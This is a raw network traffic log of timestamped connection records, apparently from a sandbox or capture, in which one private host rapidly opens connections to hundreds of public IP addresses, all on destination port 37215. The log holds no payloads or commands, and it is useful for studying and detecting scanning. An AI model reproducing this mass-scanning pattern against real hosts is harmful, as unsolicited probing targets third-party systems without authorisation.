Aug 1, 2024 15:35:04.540188074 CEST	47767	37215	192.168.2.14	197.77.7.175
Aug 1, 2024 15:35:04.540195942 CEST	47767	37215	192.168.2.14	41.195.129.212
Aug 1, 2024 15:35:04.540222883 CEST	47767	37215	192.168.2.14	197.177.225.149
Aug 1, 2024 15:35:04.540235996 CEST	47767	37215	192.168.2.14	157.231.228.165
Aug 1, 2024 15:35:04.540255070 CEST	47767	37215	192.168.2.14	157.165.58.232
Aug 1, 2024 15:35:04.540268898 CEST	47767	37215	192.168.2.14	41.232.154.242
Aug 1, 2024 15:35:04.540287018 CEST	47767	37215	192.168.2.14	157.189.107.191
Aug 1, 2024 15:35:04.540303946 CEST	47767	37215	192.168.2.14	34.71.43.94
Aug 1, 2024 15:35:04.540318966 CEST	47767	37215	192.168.2.14	157.5.143.48
Aug 1, 2024 15:35:04.540338039 CEST	47767	37215	192.168.2.14	49.45.152.112
Aug 1, 2024 15:35:04.540361881 CEST	47767	37215	192.168.2.14	41.180.21.169
Aug 1, 2024 15:35:04.540381908 CEST	47767	37215	192.168.2.14	157.174.219.177
Aug 1, 2024 15:35:04.540390968 CEST	47767	37215	192.168.2.14	197.102.129.106
Aug 1, 2024 15:35:04.540391922 CEST	47767	37215	192.168.2.14	197.71.1.91
Aug 1, 2024 15:35:04.540404081 CEST	47767	37215	192.168.2.14	168.140.93.187
Aug 1, 2024 15:35:04.540426016 CEST	47767	37215	192.168.2.14	35.99.67.8
Aug 1, 2024 15:35:04.540450096 CEST	47767	37215	192.168.2.14	197.34.252.91
Aug 1, 2024 15:35:04.540457964 CEST	47767	37215	192.168.2.14	157.213.41.28
Aug 1, 2024 15:35:04.540468931 CEST	47767	37215	192.168.2.14	157.89.3.182
Aug 1, 2024 15:35:04.540513039 CEST	47767	37215	192.168.2.14	41.108.126.213
Aug 1, 2024 15:35:04.540514946 CEST	47767	37215	192.168.2.14	41.218.230.41
Aug 1, 2024 15:35:04.540544987 CEST	47767	37215	192.168.2.14	197.56.216.48
Aug 1, 2024 15:35:04.540550947 CEST	47767	37215	192.168.2.14	169.218.228.61
Aug 1, 2024 15:35:04.540570021 CEST	47767	37215	192.168.2.14	197.209.246.43
Aug 1, 2024 15:35:04.540595055 CEST	47767	37215	192.168.2.14	197.208.197.80
Aug 1, 2024 15:35:04.540606976 CEST	47767	37215	192.168.2.14	41.9.162.52
Aug 1, 2024 15:35:04.540621042 CEST	47767	37215	192.168.2.14	157.207.102.184
Aug 1, 2024 15:35:04.540644884 CEST	47767	37215	192.168.2.14	197.137.16.215
Aug 1, 2024 15:35:04.540654898 CEST	47767	37215	192.168.2.14	41.226.83.182
Aug 1, 2024 15:35:04.540677071 CEST	47767	37215	192.168.2.14	157.90.127.89
Aug 1, 2024 15:35:04.540703058 CEST	47767	37215	192.168.2.14	110.131.37.17
Aug 1, 2024 15:35:04.540726900 CEST	47767	37215	192.168.2.14	157.172.66.197
Aug 1, 2024 15:35:04.540740013 CEST	47767	37215	192.168.2.14	197.27.66.176
Aug 1, 2024 15:35:04.540765047 CEST	47767	37215	192.168.2.14	197.124.185.247
Aug 1, 2024 15:35:04.540780067 CEST	47767	37215	192.168.2.14	132.63.208.225
Aug 1, 2024 15:35:04.540781021 CEST	47767	37215	192.168.2.14	41.145.62.113
Aug 1, 2024 15:35:04.540798903 CEST	47767	37215	192.168.2.14	197.216.74.157
Aug 1, 2024 15:35:04.540823936 CEST	47767	37215	192.168.2.14	202.178.37.9
Aug 1, 2024 15:35:04.540847063 CEST	47767	37215	192.168.2.14	41.153.66.47
Aug 1, 2024 15:35:04.540864944 CEST	47767	37215	192.168.2.14	157.143.45.235
Aug 1, 2024 15:35:04.540872097 CEST	47767	37215	192.168.2.14	41.3.229.45
Aug 1, 2024 15:35:04.540877104 CEST	47767	37215	192.168.2.14	157.140.124.196
Aug 1, 2024 15:35:04.540895939 CEST	47767	37215	192.168.2.14	58.158.24.89
Aug 1, 2024 15:35:04.540904999 CEST	47767	37215	192.168.2.14	157.113.39.180
Aug 1, 2024 15:35:04.540930986 CEST	47767	37215	192.168.2.14	157.133.18.233
Aug 1, 2024 15:35:04.540936947 CEST	47767	37215	192.168.2.14	41.170.48.200
Aug 1, 2024 15:35:04.540970087 CEST	47767	37215	192.168.2.14	36.36.129.64
Aug 1, 2024 15:35:04.540978909 CEST	47767	37215	192.168.2.14	197.229.127.192
Aug 1, 2024 15:35:04.540994883 CEST	47767	37215	192.168.2.14	197.220.236.159
Aug 1, 2024 15:35:04.541012049 CEST	47767	37215	192.168.2.14	88.142.5.135
Aug 1, 2024 15:35:04.541033030 CEST	47767	37215	192.168.2.14	196.213.134.194
Aug 1, 2024 15:35:04.541069031 CEST	47767	37215	192.168.2.14	157.7.143.95
Aug 1, 2024 15:35:04.541074038 CEST	47767	37215	192.168.2.14	45.120.73.243
Aug 1, 2024 15:35:04.541093111 CEST	47767	37215	192.168.2.14	41.24.177.190
Aug 1, 2024 15:35:04.541093111 CEST	47767	37215	192.168.2.14	41.15.120.52
Aug 1, 2024 15:35:04.541115999 CEST	47767	37215	192.168.2.14	41.175.83.26
Aug 1, 2024 15:35:04.541131020 CEST	47767	37215	192.168.2.14	41.115.17.71
Aug 1, 2024 15:35:04.541141987 CEST	47767	37215	192.168.2.14	197.174.54.13
Aug 1, 2024 15:35:04.541157007 CEST	47767	37215	192.168.2.14	41.141.48.13
Aug 1, 2024 15:35:04.541165113 CEST	47767	37215	192.168.2.14	75.133.88.223
Aug 1, 2024 15:35:04.541188002 CEST	47767	37215	192.168.2.14	157.190.188.25
Aug 1, 2024 15:35:04.541197062 CEST	47767	37215	192.168.2.14	200.95.152.35
Aug 1, 2024 15:35:04.541223049 CEST	47767	37215	192.168.2.14	41.148.181.36
Aug 1, 2024 15:35:04.541245937 CEST	47767	37215	192.168.2.14	27.91.90.155
Aug 1, 2024 15:35:04.541246891 CEST	47767	37215	192.168.2.14	41.181.74.46
Aug 1, 2024 15:35:04.541260958 CEST	47767	37215	192.168.2.14	174.28.60.47
Aug 1, 2024 15:35:04.541275024 CEST	47767	37215	192.168.2.14	157.39.33.114
Aug 1, 2024 15:35:04.541296959 CEST	47767	37215	192.168.2.14	157.101.135.88
Aug 1, 2024 15:35:04.541316986 CEST	47767	37215	192.168.2.14	41.109.136.254
Aug 1, 2024 15:35:04.541328907 CEST	47767	37215	192.168.2.14	157.216.80.194
Aug 1, 2024 15:35:04.541357994 CEST	47767	37215	192.168.2.14	41.123.0.116
Aug 1, 2024 15:35:04.541378021 CEST	47767	37215	192.168.2.14	197.20.174.170
Aug 1, 2024 15:35:04.541389942 CEST	47767	37215	192.168.2.14	156.81.187.228
Aug 1, 2024 15:35:04.541412115 CEST	47767	37215	192.168.2.14	66.95.163.195
Aug 1, 2024 15:35:04.541431904 CEST	47767	37215	192.168.2.14	136.11.239.2
Aug 1, 2024 15:35:04.542004108 CEST	56050	37215	192.168.2.14	222.229.210.86
Aug 1, 2024 15:35:04.542622089 CEST	60072	37215	192.168.2.14	37.65.110.217
Aug 1, 2024 15:35:04.543251038 CEST	44812	37215	192.168.2.14	41.37.70.213
Aug 1, 2024 15:35:04.543915987 CEST	36804	37215	192.168.2.14	69.172.16.4
Aug 1, 2024 15:35:04.544575930 CEST	41704	37215	192.168.2.14	146.228.195.65
Aug 1, 2024 15:35:04.545178890 CEST	58222	37215	192.168.2.14	157.36.218.204
Aug 1, 2024 15:35:04.545814037 CEST	39632	37215	192.168.2.14	31.28.24.214
Aug 1, 2024 15:35:04.546427965 CEST	37034	37215	192.168.2.14	41.148.252.199
Aug 1, 2024 15:35:04.547056913 CEST	54154	37215	192.168.2.14	41.188.29.162
Aug 1, 2024 15:35:04.547740936 CEST	33272	37215	192.168.2.14	157.136.251.140
Aug 1, 2024 15:35:04.548324108 CEST	37215	47767	157.194.199.236	192.168.2.14
Aug 1, 2024 15:35:04.548335075 CEST	37215	47767	197.90.72.149	192.168.2.14
Aug 1, 2024 15:35:04.548335075 CEST	60384	37215	192.168.2.14	157.46.113.86
Aug 1, 2024 15:35:04.548346043 CEST	37215	47767	197.172.111.214	192.168.2.14
Aug 1, 2024 15:35:04.548358917 CEST	37215	47767	41.83.128.61	192.168.2.14
Aug 1, 2024 15:35:04.548398972 CEST	47767	37215	192.168.2.14	157.194.199.236
Aug 1, 2024 15:35:04.548408031 CEST	47767	37215	192.168.2.14	197.172.111.214
Aug 1, 2024 15:35:04.548409939 CEST	37215	47767	221.116.61.84	192.168.2.14
Aug 1, 2024 15:35:04.548410892 CEST	47767	37215	192.168.2.14	197.90.72.149
Aug 1, 2024 15:35:04.548418999 CEST	47767	37215	192.168.2.14	41.83.128.61
Aug 1, 2024 15:35:04.548428059 CEST	37215	47767	4.57.69.144	192.168.2.14
Aug 1, 2024 15:35:04.548446894 CEST	47767	37215	192.168.2.14	221.116.61.84
Aug 1, 2024 15:35:04.548448086 CEST	37215	47767	94.197.150.63	192.168.2.14
Aug 1, 2024 15:35:04.548459053 CEST	37215	47767	157.168.196.106	192.168.2.14
Aug 1, 2024 15:35:04.548469067 CEST	37215	47767	197.40.118.120	192.168.2.14
Aug 1, 2024 15:35:04.548477888 CEST	47767	37215	192.168.2.14	4.57.69.144
Aug 1, 2024 15:35:04.548496008 CEST	47767	37215	192.168.2.14	94.197.150.63
Aug 1, 2024 15:35:04.548496008 CEST	47767	37215	192.168.2.14	157.168.196.106
Aug 1, 2024 15:35:04.548508883 CEST	47767	37215	192.168.2.14	197.40.118.120
Aug 1, 2024 15:35:04.548966885 CEST	56692	37215	192.168.2.14	41.234.174.35
Aug 1, 2024 15:35:04.549010992 CEST	37215	47767	188.201.194.75	192.168.2.14
Aug 1, 2024 15:35:04.549047947 CEST	47767	37215	192.168.2.14	188.201.194.75
Aug 1, 2024 15:35:04.549197912 CEST	37215	47767	197.59.112.243	192.168.2.14
Aug 1, 2024 15:35:04.549226046 CEST	47767	37215	192.168.2.14	197.59.112.243
Aug 1, 2024 15:35:04.549247980 CEST	37215	47767	197.116.71.207	192.168.2.14
Aug 1, 2024 15:35:04.549257994 CEST	37215	47767	157.111.42.213	192.168.2.14
Aug 1, 2024 15:35:04.549268961 CEST	37215	47767	197.42.64.218	192.168.2.14
Aug 1, 2024 15:35:04.549290895 CEST	47767	37215	192.168.2.14	197.116.71.207
Aug 1, 2024 15:35:04.549290895 CEST	47767	37215	192.168.2.14	157.111.42.213
Aug 1, 2024 15:35:04.549293041 CEST	37215	47767	41.32.138.96	192.168.2.14
Aug 1, 2024 15:35:04.549304008 CEST	37215	47767	157.212.52.133	192.168.2.14
Aug 1, 2024 15:35:04.549305916 CEST	47767	37215	192.168.2.14	197.42.64.218
Aug 1, 2024 15:35:04.549333096 CEST	47767	37215	192.168.2.14	41.32.138.96
Aug 1, 2024 15:35:04.549345970 CEST	47767	37215	192.168.2.14	157.212.52.133
Aug 1, 2024 15:35:04.549355030 CEST	37215	47767	197.196.202.119	192.168.2.14
Aug 1, 2024 15:35:04.549365044 CEST	37215	47767	179.95.26.123	192.168.2.14
Aug 1, 2024 15:35:04.549391031 CEST	47767	37215	192.168.2.14	197.196.202.119
Aug 1, 2024 15:35:04.549393892 CEST	37215	47767	157.53.206.149	192.168.2.14
Aug 1, 2024 15:35:04.549395084 CEST	47767	37215	192.168.2.14	179.95.26.123
Aug 1, 2024 15:35:04.549415112 CEST	37215	47767	197.33.197.186	192.168.2.14
Aug 1, 2024 15:35:04.549432039 CEST	47767	37215	192.168.2.14	157.53.206.149
Aug 1, 2024 15:35:04.549443960 CEST	37215	47767	157.2.204.44	192.168.2.14
Aug 1, 2024 15:35:04.549448013 CEST	47767	37215	192.168.2.14	197.33.197.186
Aug 1, 2024 15:35:04.549464941 CEST	37215	47767	41.243.168.179	192.168.2.14
Aug 1, 2024 15:35:04.549478054 CEST	37215	47767	197.59.159.249	192.168.2.14
Aug 1, 2024 15:35:04.549505949 CEST	47767	37215	192.168.2.14	157.2.204.44
Aug 1, 2024 15:35:04.549508095 CEST	47767	37215	192.168.2.14	41.243.168.179
Aug 1, 2024 15:35:04.549511909 CEST	37215	47767	41.5.15.9	192.168.2.14
Aug 1, 2024 15:35:04.549519062 CEST	47767	37215	192.168.2.14	197.59.159.249
Aug 1, 2024 15:35:04.549546957 CEST	47767	37215	192.168.2.14	41.5.15.9
Aug 1, 2024 15:35:04.549617052 CEST	54826	37215	192.168.2.14	197.37.212.181
Aug 1, 2024 15:35:04.550065041 CEST	37215	47767	41.123.59.250	192.168.2.14
Aug 1, 2024 15:35:04.550107002 CEST	47767	37215	192.168.2.14	41.123.59.250
Aug 1, 2024 15:35:04.550134897 CEST	37215	47767	153.34.223.152	192.168.2.14
Aug 1, 2024 15:35:04.550163984 CEST	37215	47767	197.242.77.95	192.168.2.14
Aug 1, 2024 15:35:04.550168037 CEST	47767	37215	192.168.2.14	153.34.223.152
Aug 1, 2024 15:35:04.550188065 CEST	37215	47767	157.169.214.8	192.168.2.14
Aug 1, 2024 15:35:04.550199986 CEST	47767	37215	192.168.2.14	197.242.77.95
Aug 1, 2024 15:35:04.550199986 CEST	37215	47767	154.156.55.211	192.168.2.14
Aug 1, 2024 15:35:04.550218105 CEST	37215	47767	79.20.180.13	192.168.2.14
Aug 1, 2024 15:35:04.550230026 CEST	47767	37215	192.168.2.14	157.169.214.8
Aug 1, 2024 15:35:04.550231934 CEST	47767	37215	192.168.2.14	154.156.55.211
Aug 1, 2024 15:35:04.550255060 CEST	47767	37215	192.168.2.14	79.20.180.13
Aug 1, 2024 15:35:04.550256968 CEST	37215	47767	88.41.80.14	192.168.2.14
Aug 1, 2024 15:35:04.550275087 CEST	45406	37215	192.168.2.14	71.55.134.200
Aug 1, 2024 15:35:04.550292015 CEST	47767	37215	192.168.2.14	88.41.80.14
Aug 1, 2024 15:35:04.550293922 CEST	37215	47767	41.7.142.47	192.168.2.14
Aug 1, 2024 15:35:04.550317049 CEST	37215	47767	154.128.168.164	192.168.2.14
Aug 1, 2024 15:35:04.550326109 CEST	37215	47767	45.145.19.215	192.168.2.14
Aug 1, 2024 15:35:04.550334930 CEST	47767	37215	192.168.2.14	41.7.142.47
Aug 1, 2024 15:35:04.550337076 CEST	37215	47767	41.47.178.191	192.168.2.14
Aug 1, 2024 15:35:04.550352097 CEST	47767	37215	192.168.2.14	45.145.19.215
Aug 1, 2024 15:35:04.550367117 CEST	47767	37215	192.168.2.14	154.128.168.164
Aug 1, 2024 15:35:04.550370932 CEST	47767	37215	192.168.2.14	41.47.178.191
Aug 1, 2024 15:35:04.550388098 CEST	37215	47767	41.50.86.186	192.168.2.14
Aug 1, 2024 15:35:04.550400019 CEST	37215	47767	197.67.80.139	192.168.2.14
Aug 1, 2024 15:35:04.550421953 CEST	37215	47767	157.221.63.136	192.168.2.14
Aug 1, 2024 15:35:04.550429106 CEST	47767	37215	192.168.2.14	41.50.86.186
Aug 1, 2024 15:35:04.550431967 CEST	37215	47767	157.139.106.57	192.168.2.14
Aug 1, 2024 15:35:04.550440073 CEST	47767	37215	192.168.2.14	197.67.80.139
Aug 1, 2024 15:35:04.550441027 CEST	37215	47767	41.112.76.41	192.168.2.14
Aug 1, 2024 15:35:04.550461054 CEST	47767	37215	192.168.2.14	157.139.106.57
Aug 1, 2024 15:35:04.550465107 CEST	47767	37215	192.168.2.14	157.221.63.136
Aug 1, 2024 15:35:04.550479889 CEST	47767	37215	192.168.2.14	41.112.76.41
Aug 1, 2024 15:35:04.550908089 CEST	44340	37215	192.168.2.14	197.47.216.54
Aug 1, 2024 15:35:04.550929070 CEST	37215	47767	157.184.78.209	192.168.2.14
Aug 1, 2024 15:35:04.550973892 CEST	47767	37215	192.168.2.14	157.184.78.209
Aug 1, 2024 15:35:04.551064014 CEST	37215	47767	197.199.4.95	192.168.2.14
Aug 1, 2024 15:35:04.551084995 CEST	37215	47767	197.252.254.43	192.168.2.14
Aug 1, 2024 15:35:04.551103115 CEST	47767	37215	192.168.2.14	197.199.4.95
Aug 1, 2024 15:35:04.551110983 CEST	47767	37215	192.168.2.14	197.252.254.43
Aug 1, 2024 15:35:04.551120043 CEST	37215	47767	197.106.140.211	192.168.2.14
Aug 1, 2024 15:35:04.551140070 CEST	37215	47767	97.179.240.178	192.168.2.14
Aug 1, 2024 15:35:04.551158905 CEST	47767	37215	192.168.2.14	197.106.140.211
Aug 1, 2024 15:35:04.551177979 CEST	47767	37215	192.168.2.14	97.179.240.178
Aug 1, 2024 15:35:04.551211119 CEST	37215	47767	41.208.156.134	192.168.2.14
Aug 1, 2024 15:35:04.551232100 CEST	37215	47767	157.4.121.249	192.168.2.14
Aug 1, 2024 15:35:04.551246881 CEST	47767	37215	192.168.2.14	41.208.156.134
Aug 1, 2024 15:35:04.551253080 CEST	37215	47767	157.145.14.93	192.168.2.14
Aug 1, 2024 15:35:04.551264048 CEST	37215	47767	197.146.104.21	192.168.2.14
Aug 1, 2024 15:35:04.551266909 CEST	47767	37215	192.168.2.14	157.4.121.249
Aug 1, 2024 15:35:04.551275015 CEST	37215	47767	197.163.15.79	192.168.2.14
Aug 1, 2024 15:35:04.551294088 CEST	47767	37215	192.168.2.14	157.145.14.93
Aug 1, 2024 15:35:04.551302910 CEST	47767	37215	192.168.2.14	197.163.15.79
Aug 1, 2024 15:35:04.551312923 CEST	37215	47767	157.244.159.100	192.168.2.14
Aug 1, 2024 15:35:04.551322937 CEST	37215	47767	189.213.94.150	192.168.2.14
Aug 1, 2024 15:35:04.551352024 CEST	47767	37215	192.168.2.14	197.146.104.21
Aug 1, 2024 15:35:04.551356077 CEST	47767	37215	192.168.2.14	157.244.159.100
Aug 1, 2024 15:35:04.551356077 CEST	47767	37215	192.168.2.14	189.213.94.150
Aug 1, 2024 15:35:04.551362038 CEST	37215	47767	41.18.216.71	192.168.2.14
Aug 1, 2024 15:35:04.551384926 CEST	37215	47767	197.123.98.89	192.168.2.14
Aug 1, 2024 15:35:04.551397085 CEST	47767	37215	192.168.2.14	41.18.216.71
Aug 1, 2024 15:35:04.551404953 CEST	37215	47767	197.50.247.10	192.168.2.14
Aug 1, 2024 15:35:04.551418066 CEST	47767	37215	192.168.2.14	197.123.98.89
Aug 1, 2024 15:35:04.551436901 CEST	47767	37215	192.168.2.14	197.50.247.10
Aug 1, 2024 15:35:04.551594973 CEST	34136	37215	192.168.2.14	218.111.52.52
Aug 1, 2024 15:35:04.551820040 CEST	37215	47767	157.168.216.172	192.168.2.14
Aug 1, 2024 15:35:04.551856995 CEST	47767	37215	192.168.2.14	157.168.216.172
Aug 1, 2024 15:35:04.551913023 CEST	37215	47767	108.209.236.149	192.168.2.14
Aug 1, 2024 15:35:04.551944971 CEST	47767	37215	192.168.2.14	108.209.236.149
Aug 1, 2024 15:35:04.551961899 CEST	37215	47767	197.83.216.176	192.168.2.14
Aug 1, 2024 15:35:04.551996946 CEST	47767	37215	192.168.2.14	197.83.216.176
Aug 1, 2024 15:35:04.552033901 CEST	37215	47767	159.231.128.109	192.168.2.14
Aug 1, 2024 15:35:04.552054882 CEST	37215	47767	32.81.185.247	192.168.2.14
Aug 1, 2024 15:35:04.552067995 CEST	47767	37215	192.168.2.14	159.231.128.109
Aug 1, 2024 15:35:04.552069902 CEST	37215	47767	197.13.203.197	192.168.2.14
Aug 1, 2024 15:35:04.552081108 CEST	37215	47767	103.102.173.153	192.168.2.14
Aug 1, 2024 15:35:04.552098036 CEST	47767	37215	192.168.2.14	32.81.185.247
Aug 1, 2024 15:35:04.552124023 CEST	47767	37215	192.168.2.14	197.13.203.197
Aug 1, 2024 15:35:04.552124023 CEST	47767	37215	192.168.2.14	103.102.173.153
Aug 1, 2024 15:35:04.552134037 CEST	37215	47767	41.162.144.180	192.168.2.14
Aug 1, 2024 15:35:04.552160025 CEST	37215	47767	148.22.231.222	192.168.2.14
Aug 1, 2024 15:35:04.552175999 CEST	37215	47767	197.122.86.99	192.168.2.14
Aug 1, 2024 15:35:04.552180052 CEST	47767	37215	192.168.2.14	41.162.144.180
Aug 1, 2024 15:35:04.552211046 CEST	47767	37215	192.168.2.14	197.122.86.99
Aug 1, 2024 15:35:04.552212000 CEST	37215	47767	197.21.90.241	192.168.2.14
Aug 1, 2024 15:35:04.552217960 CEST	47767	37215	192.168.2.14	148.22.231.222
Aug 1, 2024 15:35:04.552237988 CEST	37215	47767	157.156.171.215	192.168.2.14
Aug 1, 2024 15:35:04.552248001 CEST	37215	47767	157.89.199.103	192.168.2.14
Aug 1, 2024 15:35:04.552257061 CEST	47767	37215	192.168.2.14	197.21.90.241
Aug 1, 2024 15:35:04.552275896 CEST	37215	47767	197.67.5.206	192.168.2.14
Aug 1, 2024 15:35:04.552284956 CEST	47767	37215	192.168.2.14	157.89.199.103
Aug 1, 2024 15:35:04.552284956 CEST	47767	37215	192.168.2.14	157.156.171.215
Aug 1, 2024 15:35:04.552306890 CEST	57722	37215	192.168.2.14	52.147.50.110
Aug 1, 2024 15:35:04.552316904 CEST	47767	37215	192.168.2.14	197.67.5.206
Aug 1, 2024 15:35:04.552683115 CEST	37215	47767	117.160.57.177	192.168.2.14
Aug 1, 2024 15:35:04.552692890 CEST	37215	47767	70.173.99.178	192.168.2.14
Aug 1, 2024 15:35:04.552725077 CEST	37215	47767	197.61.23.38	192.168.2.14
Aug 1, 2024 15:35:04.552726030 CEST	47767	37215	192.168.2.14	117.160.57.177
Aug 1, 2024 15:35:04.552730083 CEST	47767	37215	192.168.2.14	70.173.99.178
Aug 1, 2024 15:35:04.552736044 CEST	37215	47767	41.203.234.109	192.168.2.14
Aug 1, 2024 15:35:04.552762985 CEST	47767	37215	192.168.2.14	197.61.23.38
Aug 1, 2024 15:35:04.552766085 CEST	47767	37215	192.168.2.14	41.203.234.109
Aug 1, 2024 15:35:04.552865982 CEST	37215	47767	157.113.241.114	192.168.2.14
Aug 1, 2024 15:35:04.552875996 CEST	37215	47767	75.69.222.123	192.168.2.14
Aug 1, 2024 15:35:04.552896023 CEST	37215	47767	197.165.152.244	192.168.2.14
Aug 1, 2024 15:35:04.552906990 CEST	47767	37215	192.168.2.14	157.113.241.114
Aug 1, 2024 15:35:04.552908897 CEST	47767	37215	192.168.2.14	75.69.222.123
Aug 1, 2024 15:35:04.552917004 CEST	37215	47767	157.219.229.32	192.168.2.14
Aug 1, 2024 15:35:04.552937984 CEST	47767	37215	192.168.2.14	197.165.152.244
Aug 1, 2024 15:35:04.552951097 CEST	47767	37215	192.168.2.14	157.219.229.32
Aug 1, 2024 15:35:04.552953959 CEST	37215	47767	8.237.92.238	192.168.2.14
Aug 1, 2024 15:35:04.552973986 CEST	37215	47767	157.233.153.54	192.168.2.14
Aug 1, 2024 15:35:04.552987099 CEST	47767	37215	192.168.2.14	8.237.92.238
Aug 1, 2024 15:35:04.552989006 CEST	37215	47767	41.46.32.48	192.168.2.14
Aug 1, 2024 15:35:04.552999973 CEST	37215	47767	157.229.152.163	192.168.2.14
Aug 1, 2024 15:35:04.553013086 CEST	37215	47767	197.5.18.68	192.168.2.14
Aug 1, 2024 15:35:04.553014994 CEST	47767	37215	192.168.2.14	157.233.153.54
Aug 1, 2024 15:35:04.553025007 CEST	47767	37215	192.168.2.14	41.46.32.48
Aug 1, 2024 15:35:04.553035021 CEST	47767	37215	192.168.2.14	157.229.152.163
Aug 1, 2024 15:35:04.553040028 CEST	37215	47767	157.102.92.200	192.168.2.14
Aug 1, 2024 15:35:04.553050041 CEST	47767	37215	192.168.2.14	197.5.18.68
Aug 1, 2024 15:35:04.553059101 CEST	37215	47767	157.123.167.80	192.168.2.14
Aug 1, 2024 15:35:04.553066015 CEST	60458	37215	192.168.2.14	156.49.30.8
Aug 1, 2024 15:35:04.553070068 CEST	37215	47767	209.174.97.67	192.168.2.14
Aug 1, 2024 15:35:04.553081989 CEST	37215	47767	41.141.173.199	192.168.2.14
Aug 1, 2024 15:35:04.553085089 CEST	47767	37215	192.168.2.14	157.102.92.200
Aug 1, 2024 15:35:04.553098917 CEST	47767	37215	192.168.2.14	157.123.167.80
Aug 1, 2024 15:35:04.553107977 CEST	47767	37215	192.168.2.14	209.174.97.67
Aug 1, 2024 15:35:04.553116083 CEST	47767	37215	192.168.2.14	41.141.173.199
Aug 1, 2024 15:35:04.553117990 CEST	37215	47767	157.114.51.100	192.168.2.14
Aug 1, 2024 15:35:04.553129911 CEST	37215	47767	41.205.206.186	192.168.2.14
Aug 1, 2024 15:35:04.553141117 CEST	37215	47767	197.161.49.20	192.168.2.14
Aug 1, 2024 15:35:04.553158998 CEST	47767	37215	192.168.2.14	157.114.51.100
Aug 1, 2024 15:35:04.553165913 CEST	47767	37215	192.168.2.14	41.205.206.186
Aug 1, 2024 15:35:04.553178072 CEST	47767	37215	192.168.2.14	197.161.49.20
Aug 1, 2024 15:35:04.553250074 CEST	37215	47767	100.236.53.126	192.168.2.14
Aug 1, 2024 15:35:04.553303003 CEST	47767	37215	192.168.2.14	100.236.53.126
Aug 1, 2024 15:35:04.553684950 CEST	42624	37215	192.168.2.14	197.13.43.240
Aug 1, 2024 15:35:04.553850889 CEST	37215	47767	197.124.27.217	192.168.2.14
Aug 1, 2024 15:35:04.553890944 CEST	47767	37215	192.168.2.14	197.124.27.217
Aug 1, 2024 15:35:04.553988934 CEST	37215	47767	107.194.16.250	192.168.2.14
Aug 1, 2024 15:35:04.553999901 CEST	37215	47767	171.189.161.225	192.168.2.14
Aug 1, 2024 15:35:04.554009914 CEST	37215	47767	197.95.243.177	192.168.2.14
Aug 1, 2024 15:35:04.554019928 CEST	37215	47767	197.176.226.103	192.168.2.14
Aug 1, 2024 15:35:04.554025888 CEST	47767	37215	192.168.2.14	107.194.16.250
Aug 1, 2024 15:35:04.554032087 CEST	37215	47767	41.9.128.187	192.168.2.14
Aug 1, 2024 15:35:04.554040909 CEST	47767	37215	192.168.2.14	197.95.243.177
Aug 1, 2024 15:35:04.554043055 CEST	37215	47767	149.216.75.157	192.168.2.14
Aug 1, 2024 15:35:04.554050922 CEST	47767	37215	192.168.2.14	171.189.161.225
Aug 1, 2024 15:35:04.554054022 CEST	47767	37215	192.168.2.14	197.176.226.103
Aug 1, 2024 15:35:04.554061890 CEST	37215	47767	157.101.90.172	192.168.2.14
Aug 1, 2024 15:35:04.554063082 CEST	47767	37215	192.168.2.14	41.9.128.187
Aug 1, 2024 15:35:04.554074049 CEST	37215	47767	157.61.35.240	192.168.2.14
Aug 1, 2024 15:35:04.554083109 CEST	37215	47767	157.119.55.33	192.168.2.14
Aug 1, 2024 15:35:04.554090023 CEST	47767	37215	192.168.2.14	149.216.75.157
Aug 1, 2024 15:35:04.554101944 CEST	37215	47767	157.90.86.144	192.168.2.14
Aug 1, 2024 15:35:04.554107904 CEST	47767	37215	192.168.2.14	157.101.90.172
Aug 1, 2024 15:35:04.554107904 CEST	47767	37215	192.168.2.14	157.61.35.240
Aug 1, 2024 15:35:04.554114103 CEST	47767	37215	192.168.2.14	157.119.55.33
Aug 1, 2024 15:35:04.554124117 CEST	37215	47767	41.16.74.118	192.168.2.14
Aug 1, 2024 15:35:04.554136992 CEST	37215	47767	188.202.148.211	192.168.2.14
Aug 1, 2024 15:35:04.554146051 CEST	47767	37215	192.168.2.14	157.90.86.144
Aug 1, 2024 15:35:04.554156065 CEST	37215	47767	184.32.107.231	192.168.2.14
Aug 1, 2024 15:35:04.554157019 CEST	47767	37215	192.168.2.14	41.16.74.118
Aug 1, 2024 15:35:04.554162979 CEST	47767	37215	192.168.2.14	188.202.148.211
Aug 1, 2024 15:35:04.554166079 CEST	37215	47767	157.135.78.83	192.168.2.14
Aug 1, 2024 15:35:04.554174900 CEST	37215	47767	71.85.176.12	192.168.2.14
Aug 1, 2024 15:35:04.554186106 CEST	37215	47767	157.174.12.230	192.168.2.14
Aug 1, 2024 15:35:04.554191113 CEST	47767	37215	192.168.2.14	184.32.107.231
Aug 1, 2024 15:35:04.554199934 CEST	47767	37215	192.168.2.14	157.135.78.83
Aug 1, 2024 15:35:04.554207087 CEST	37215	47767	197.215.15.15	192.168.2.14
Aug 1, 2024 15:35:04.554217100 CEST	37215	47767	157.204.120.141	192.168.2.14
Aug 1, 2024 15:35:04.554218054 CEST	47767	37215	192.168.2.14	71.85.176.12
Aug 1, 2024 15:35:04.554219007 CEST	47767	37215	192.168.2.14	157.174.12.230
Aug 1, 2024 15:35:04.554220915 CEST	37215	47767	41.136.146.160	192.168.2.14
Aug 1, 2024 15:35:04.554239035 CEST	37215	47767	157.242.115.42	192.168.2.14
Aug 1, 2024 15:35:04.554248095 CEST	47767	37215	192.168.2.14	157.204.120.141
Aug 1, 2024 15:35:04.554248095 CEST	47767	37215	192.168.2.14	197.215.15.15
Aug 1, 2024 15:35:04.554250002 CEST	37215	47767	157.170.121.43	192.168.2.14
Aug 1, 2024 15:35:04.554259062 CEST	37215	47767	96.39.241.96	192.168.2.14
Aug 1, 2024 15:35:04.554266930 CEST	47767	37215	192.168.2.14	41.136.146.160
Aug 1, 2024 15:35:04.554269075 CEST	37215	47767	41.110.227.128	192.168.2.14
Aug 1, 2024 15:35:04.554280043 CEST	37215	47767	197.52.117.145	192.168.2.14
Aug 1, 2024 15:35:04.554290056 CEST	47767	37215	192.168.2.14	96.39.241.96
Aug 1, 2024 15:35:04.554294109 CEST	37215	47767	41.17.169.14	192.168.2.14
Aug 1, 2024 15:35:04.554300070 CEST	47767	37215	192.168.2.14	157.242.115.42
Aug 1, 2024 15:35:04.554300070 CEST	47767	37215	192.168.2.14	157.170.121.43
Aug 1, 2024 15:35:04.554306984 CEST	47767	37215	192.168.2.14	41.110.227.128
Aug 1, 2024 15:35:04.554310083 CEST	37215	47767	41.101.245.240	192.168.2.14
Aug 1, 2024 15:35:04.554310083 CEST	47767	37215	192.168.2.14	197.52.117.145
